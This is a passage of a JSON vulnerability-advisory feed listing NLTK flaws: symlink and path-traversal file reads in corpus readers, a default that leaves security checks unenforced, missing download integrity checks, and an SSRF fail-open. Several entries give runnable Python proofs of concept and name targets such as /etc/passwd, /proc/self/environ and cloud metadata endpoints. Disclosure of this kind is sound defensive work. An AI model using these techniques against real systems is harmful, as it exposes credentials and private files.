attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54293"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3575"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-54293"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491486"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62383","published":"2026-08-29T08:37:38Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3726","CVE-2026-62383","GHSA-3hhw-38pf-pxj6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_4"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely","details":"## Summary\n\n`IPIPANCorpusReader` (`nltk/corpus/reader/ipipan.py`) exposes public methods, `channels()`, `domains()`, `categories()`, and `fileids(channels=...)`, that accept a caller supplied `fileids` list and read a file via a completely unprotected builtin `open()` call, with no `nltk.pathsec` involvement at all. A symlink placed inside the corpus root, with a name containing no separators or `..`, passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.\n\n## Root cause\n\nAll four methods route through `_get_tag()`:\n\n```python\ndef _get_tag(self, f, tag):\n    tags = []\n    with open(f) as infile:   # builtin open(), no pathsec involvement\n        header = infile.read()\n    ...\n```\n\n`f` arrives via `_list_header_files()` / `_list_morph_files_by()`, both of which call:\n\n```python\nf.replace(\"morph.xml\", \"header.xml\")\n```\n\non the result of `self.abspath(...)` or `self.abspaths(...)`. `FileSystemPathPointer` subclasses `str`, so `.replace()` returns a plain Python string, silently discarding the `PathPointer` wrapper. That plain string is handed straight to builtin `open()`.\n\nThis is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (`CorpusReader.open()`, `NKJPCorpusReader.add_root()`, and the recent `FramenetCorpusReader` fix): those route file access through `nltk.pathsec.validate_path()`, at minimum the global, non-scoped check, before opening. Here, converting the `PathPointer` to a plain string before calling `open()` skips `pathsec` completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered `nltk.data.path` root.\n\nPlain literal `../` traversal in the fileid is still blocked by `FileSystemPathPointer.join()`, so this is specifically the symlink variant, not a regression of the older, simpler traversal class.\n\n## Proof of concept\n\nConstructed the normal, documented way, `fileids` as a regex over file paths, so the reader auto-discovers whatever `.xml` files exist in its root with no special knowledge of the planted symlink.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.ipipan import IPIPANCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"ipipan\")\nos.makedirs(corpus_root)\n\nwith open(os.path.join(corpus_root, \"real_morph.xml\"), \"w\") as f:\n    f.write(\"<channel>legit</channel>\")\n\nsecret_dir = os.path.join(root, \"outside_ipipan_root\")\nos.makedirs(secret_dir)\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\"<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>\")\n\nos.symlink(secret_path, os.path.join(corpus_root, \"evil_link.xml\"))\n\nreader = IPIPANCorpusReader(corpus_root, r\".*\\.xml\")\nprint(\"Auto-discovered fileids:\", sorted(reader.fileids()))\n\nresult = reader.channels(fileids=[\"evil_link.xml\"])\nprint(result)\n```\n\nActual output when run against current `develop`:\n\n```\nAuto-discovered fileids: ['evil_link.xml', 'real_morph.xml']\n['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own `fileids()` listing, exactly as a real file would.\n\nVerified separately that literal `../` traversal in the fileid is still rejected (`ValueError: Traversal blocked`), confirming this is specifically the symlink gap, not a broader regression.\n\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (`SECURITY.md` names \"shared environments... multi-tenant pipelines\" as the project's own stated threat model) plus a completely normal API call.\n- Core corpus-reader code, reached through plain `import nltk` and documented, programmatic usage (`words()`, `sents()`, `channels()`, etc.), not a demo or GUI tool.\n- Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for `FramenetCorpusReader` and `NKJPCorpusReader`.\n- Not a bypass of a claimed fix. `ipipan.py` has never had security hardening applied, and has no dedicated test coverage at all.\n\n## CVSS v3.1\n\n- **AV:L, AC:L**: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.\n- **PR:L**: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.\n- **UI:N**: fires during routine, automated corpus processing, no separate victim action.\n- **S:U**: stays within the same process's existing privileges.\n- **C:H, I:N, A:N**: arbitrary file read only, no write, no crash.\n\n## Suggested fix\n\nRoute `_get_tag()` through `nltk.pathsec.validate_path()` with the corpus root as `required_root`, or through `CorpusReader.open()`, instead of converting the `PathPointer` to a plain string and calling builtin `open()` directly. The same fix pattern already applied to `FramenetCorpusReader` and `NKJPCorpusReader` applies directly here.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-3hhw-38pf-pxj6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62383"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3727"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/ee1a42e51982c4dce6ad3ee77ff1ac43894288ab"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3726.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-ipipancorpusreader-symlink-arbitrary-file-read"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62384","published":"2026-09-04T08:43:15Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3789","CVE-2026-62384","GHSA-f833-7jw8-xwrv"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_4"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)","details":"This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `<frame_dir>/<name>.xml`\n- `_lu_file()` reads `<lu_dir>/lu<id>.xml`\n- `doc()` reads `<fulltext_dir>/<filename>`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n    f.write(\"<frameRelations/>\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\n        '<frame cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\">'\n        \"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>\"\n        \"</frame>\"\n    )\n\n# Attacker plants this inside <corpus_root>/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}}  # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\")   # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu<id>.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581's own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62384"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3726"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62385","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3728","CVE-2026-62385","GHSA-568f-pv23-39p4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Stable FrameNet and NKJP readers parse outside-root XML","details":"### Summary\n\nPublished `nltk==3.9.4` still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.\n\n### Details\n\n- **Vulnerability type:** Path traversal and trusted-root bypass\n- **Affected component:** `FramenetCorpusReader.frame_by_name`, `FramenetCorpusReader.doc`, `FramenetCorpusReader.lu`, `NKJPCorpusReader.header`\n- **Affected versions:** Published `3.9.4` reproduced. Current source `v3.10.0-rc2` acted as a negative control and blocked the same payloads.\n- **Patched versions:** Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate.\n- **Root cause:** Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.\n\nI confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.\n\n### PoC\n\n**Preconditions**\n- The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.\n\n**Steps**\n1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root.\n2. Feed unsafe selectors or poisoned index state into the relevant public stable `3.9.4` APIs.\n3. Observe `frame_by_name`, `doc`, `lu(...).exemplars`, or `header` return parsed outside-root values.\n4. Run the same payloads against current source and observe explicit path-safety rejections.\n\n**Minimal reproducible excerpt**\n\n```text\nframenet_frame_definition FRAME_LEAK\nframenet_doc_text DOC_LEAK\nframenet_lu_text LU_LEAK\nnkjp_header_title HEADER_LEAK\n```\n\n### Impact\n\nApplications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.\n\n### Remediation\n\nKeep these reader paths on the same root-confinement model as `CorpusReader.open()` and `nltk.pathsec`. Reject unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.\n\n### Resources\n\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1366-L1369\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1456-L1460\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1803-L1810\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L96-L103\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L251-L256\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/framenet.py#L1388-L1399\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/nkjp.py#L96-L128","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-568f-pv23-39p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62385"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3579"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3581"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7d1389d0789c1eca56bd0ed444089e0a3972e3ed"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/bf3bf32786791394a1008258b4917a7f2d4dbcda"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3728.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-path-traversal-via-framenet-and-nkjp-readers"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62388","published":"2026-08-28T12:17:01Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3722","CVE-2026-62388","GHSA-p3m8-78j2-g5p3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Default ENFORCE=False Disables All pathsec Security Controls","details":"NLTK's pathsec.py security module defaults to ENFORCE=False (line 24), which means all 8 security validation functions only emit RuntimeWarning instead of raising exceptions when violations are detected.\n\nThe pathsec module was introduced as the fix for CVE-2024-39705 (arbitrary code execution via pickle) and CVE-2026-0846 (path traversal). However, with ENFORCE=False as the default:\n\n1. pathsec.open('/etc/passwd') succeeds (reads the file, emits warning)\n2. pathsec.validate_network_url('http://169.254.169.254/...') succeeds (warning only)\n3. pickle.loads() via nltk.data.load() proceeds despite unsafe source (warning only)\n\nEvery security gate follows the same pattern:\n```python\nENFORCE = os.environ.get('NLTK_PATHSEC_ENFORCE', '').lower() in ('1', 'true', 'yes')\n\ndef validate_something(path):\n    if is_violation(path):\n        if ENFORCE:\n            raise SecurityError('...')  # Only raised when env var is set\n        else:\n            warnings.warn('...', RuntimeWarning)  # Default: warning only\n    # Execution continues regardless\n```\n\nThis means the security remediations for CVE-2024-39705 and CVE-2026-0846 are effectively disabled by default. Any user who installed NLTK 3.9.x expecting the security fixes to be active is still vulnerable unless they manually set NLTK_PATHSEC_ENFORCE=1.\n\nPoC:\n```python\nimport nltk.pathsec\nimport warnings\n\n# Show that ENFORCE is False by default\nprint(f'ENFORCE = {nltk.pathsec.ENFORCE}')  # False\n\n# Attempt to read /etc/passwd through pathsec -- should be blocked\nwith warnings.catch_warnings(record=True) as w:\n    warnings.simplefilter('always')\n    result = nltk.pathsec.open('/etc/passwd', 'r')\n    print(f'File opened: {result.name}')  # /etc/passwd\n    print(f'Warning emitted: {w[0].message}')  # RuntimeWarning (not an exception)\n    # Attack succeeds -- file is readable\n```\n\nThe correct default is fail-secure: ENFORCE should be True unless explicitly disabled. The current default makes the security module opt-in rather than opt-out, defeating its purpose.\n\nSuggested fix: Change default to ENFORCE=True. Users who need backwards compatibility can set NLTK_PATHSEC_ENFORCE=0 to explicitly disable.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62388"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3593"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/155e40343cff0bf50d233e274a12e04d1428b1d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3722.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-63310","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3729","CVE-2026-63310","GHSA-5wp5-5229-5g6q","CVE-2026-12259","GHSA-gf32-cmjh-8m9v","PYSEC-2026-4318"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection","details":"NLTK's package downloader in nltk/downloader.py does not verify file integrity after download and before extraction.\n\nThe download flow at lines 789-825:\n1. File is downloaded to a temp path via HTTP\n2. os.replace(tmp_filepath, filepath) moves it to the final location (line 799)\n3. Extraction begins via _unzip_iter() (line 825)\n\nBetween steps 2 and 3, there is no SHA-256 verification. The checksum logic exists in _pkg_status() (lines 982-1015) but it is only used BEFORE download as a status check (\"is this package already installed and up-to-date?\"). It is never called after download to verify the file that was actually received.\n\nAttack vectors:\n1. MITM during HTTP download (NLTK downloads from http:// by default on some mirrors)\n2. Race condition on shared filesystems (attacker replaces file between os.replace and _unzip_iter)\n3. DNS poisoning redirecting to attacker-controlled server\n\nPoC:\n```python\nimport nltk\nimport unittest.mock\nimport zipfile\nimport io\nimport os\n\n# Create a malicious zip that will be \"downloaded\"\nmalicious_zip = io.BytesIO()\nwith zipfile.ZipFile(malicious_zip, 'w') as zf:\n    zf.writestr('punkt_tab/tokenizers/punkt_tab/english.pickle', \n                b'MALICIOUS PAYLOAD - attacker controlled content')\n\n# Patch urllib to return our malicious zip\nwith unittest.mock.patch('urllib.request.urlopen') as mock_urlopen:\n    mock_response = unittest.mock.MagicMock()\n    mock_response.read.return_value = malicious_zip.getvalue()\n    mock_response.headers = {'Content-Length': str(len(malicious_zip.getvalue()))}\n    mock_urlopen.return_value = mock_response\n    \n    # Download proceeds, no integrity check catches the swap\n    # nltk.download('punkt_tab')  # Would install attacker payload\n```\n\nThis is distinct from CVE-2024-39705 (pickle deserialization via download) and CVE-2025-14009 (zip-slip path traversal). Those address what happens AFTER extraction. This finding addresses the gap BEFORE extraction where integrity is never verified.\n\nSuggested fix: After os.replace() and before _unzip_iter(), compute SHA-256 of the final file and compare against the expected checksum from the package index. Reject and delete the file if the hash does not match.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-5wp5-5229-5g6q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12259"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3449"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0e26734a61094b628d93e26dc18dd7302567ac46"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/3.9.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3729.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/659ccf6d-12d4-4d4a-84c0-078633c35a5d"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-missing-post-download-integrity-verification"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-63311","published":"2026-08-28T12:17:01Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3723","CVE-2026-63311","GHSA-3gqm-fcw5-w839"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure","details":"There is an SSRF vulnerability in NLTK 3.9.4's network URL validation. The validate_network_url() function in nltk/pathsec.py fails open when DNS resolution returns an error.\n\nThe _resolve_hostname() helper at lines 193-234 catches OSError and ValueError during socket.getaddrinfo() and returns an empty list []. When this happens, the validation loop in validate_network_url() iterates over nothing (for addr in resolved: ... never executes), with no else/fallback check. The function returns normally, and urlopen() proceeds to make the request without any IP validation.\n\nThis means:\n1. If DNS is temporarily unavailable, ALL SSRF protections are disabled\n2. DNS rebinding attacks bypass the check after the LRU cache entry expires\n3. In environments with unreliable resolvers, the protection is permanently bypassed\n\nPoC:\n```python\nimport nltk.pathsec\nimport unittest.mock\n\n# Simulate DNS failure\nwith unittest.mock.patch('socket.getaddrinfo', side_effect=OSError('DNS unavailable')):\n    # This SHOULD raise but doesn't -- fails open\n    nltk.pathsec.validate_network_url('http://169.254.169.254/latest/meta-data/')\n    # Returns normally, allowing SSRF to cloud metadata\n```\n\nThe correct behavior is fail-closed: if DNS resolution fails, the URL should be REJECTED (not allowed). The function should raise an exception or return a failure status when _resolve_hostname() returns an empty list.\n\nThis is distinct from CVE-2024-39705 (which addressed pickle deserialization) and CVE-2026-33236 (which addressed XML path traversal). This finding targets the newly-added pathsec.py security layer introduced to fix those earlier issues.\n\nSuggested fix: Add an explicit check after _resolve_hostname() returns: if the result is empty, raise a SecurityError. Never allow a URL request to proceed when IP validation was impossible.\n\nCVSS Note: The CVSS use SC:H (High subsequent confidentiality) because the advisory explicitly identifies cloud metadata endpoints (169.254.169.254) as an attack target. Access to AWS IMDS or GCP metadata exposes credentials or service account tokens, which constitutes High-impact disclosure on downstream systems. This justifies SC:H over NVD's SC:L.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63311"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3582"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/4a820afa58810cd05049b6c6eae306694d6cfe65"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3723.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-63312","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3730","CVE-2026-63312","GHSA-x5ph-mj9p-rfr8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:bre